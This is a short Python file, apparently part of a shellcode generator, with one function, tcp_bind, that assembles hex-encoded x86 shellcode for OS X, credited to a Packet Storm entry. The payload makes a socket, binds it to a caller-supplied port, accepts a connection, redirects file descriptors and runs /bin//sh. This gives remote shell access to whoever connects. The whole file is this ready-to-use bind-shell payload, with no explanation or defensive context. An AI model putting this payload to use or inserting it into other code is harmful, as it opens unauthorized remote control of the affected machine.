#https://packetstormsecurity.com/files/109627/OS-X-x86-Port-Binding-Shellcode.html


def tcp_bind( PORT):
	shellcode =  r"\x31\xC0"
	shellcode += r"\x50"
	shellcode += r"\x50"
	shellcode += r"\x50"
	shellcode += r"\xB0\x7E"
	shellcode += r"\xCD\x80"
	shellcode += r"\x31\xC0"
	shellcode += r"\x50"
	shellcode += r"\x50"
	shellcode += r"\xB0\x17"
	shellcode += r"\xCD\x80"
	shellcode += r"\x31\xC0"
	shellcode += r"\x50"
	shellcode += r"\x68\xFF\x02"
	shellcode += PORT
	shellcode += r"\x89\xE7"
	shellcode += r"\x50"
	shellcode += r"\x6A\x01"
	shellcode += r"\x6A\x02"
	shellcode += r"\x6A\x10"
	shellcode += r"\xB0\x61"
	shellcode += r"\xCD\x80"
	shellcode += r"\x57"
	shellcode += r"\x50"
	shellcode += r"\x50"
	shellcode += r"\x6A\x68"
	shellcode += r"\x58"
	shellcode += r"\xCD\x80"
	shellcode += r"\x89\x47\xEC"
	shellcode += r"\xB0\x6A"
	shellcode += r"\xCD\x80"
	shellcode += r"\xB0\x1E"
	shellcode += r"\xCD\x80"
	shellcode += r"\x50"
	shellcode += r"\x50"
	shellcode += r"\x6A\x5A"
	shellcode += r"\x58"
	shellcode += r"\xCD\x80"
	shellcode += r"\xFF\x4F\xE4"
	shellcode += r"\x79\xF6"
	shellcode += r"\x50"
	shellcode += r"\x68\x2F\x2F\x73\x68"
	shellcode += r"\x68\x2F\x62\x69\x6E"
	shellcode += r"\x89\xE3"
	shellcode += r"\x50"
	shellcode += r"\x54"
	shellcode += r"\x54"
	shellcode += r"\x53"
	shellcode += r"\x50"
	shellcode += r"\xB0\x3B"
	shellcode += r"\xCD\x80"
	return shellcode
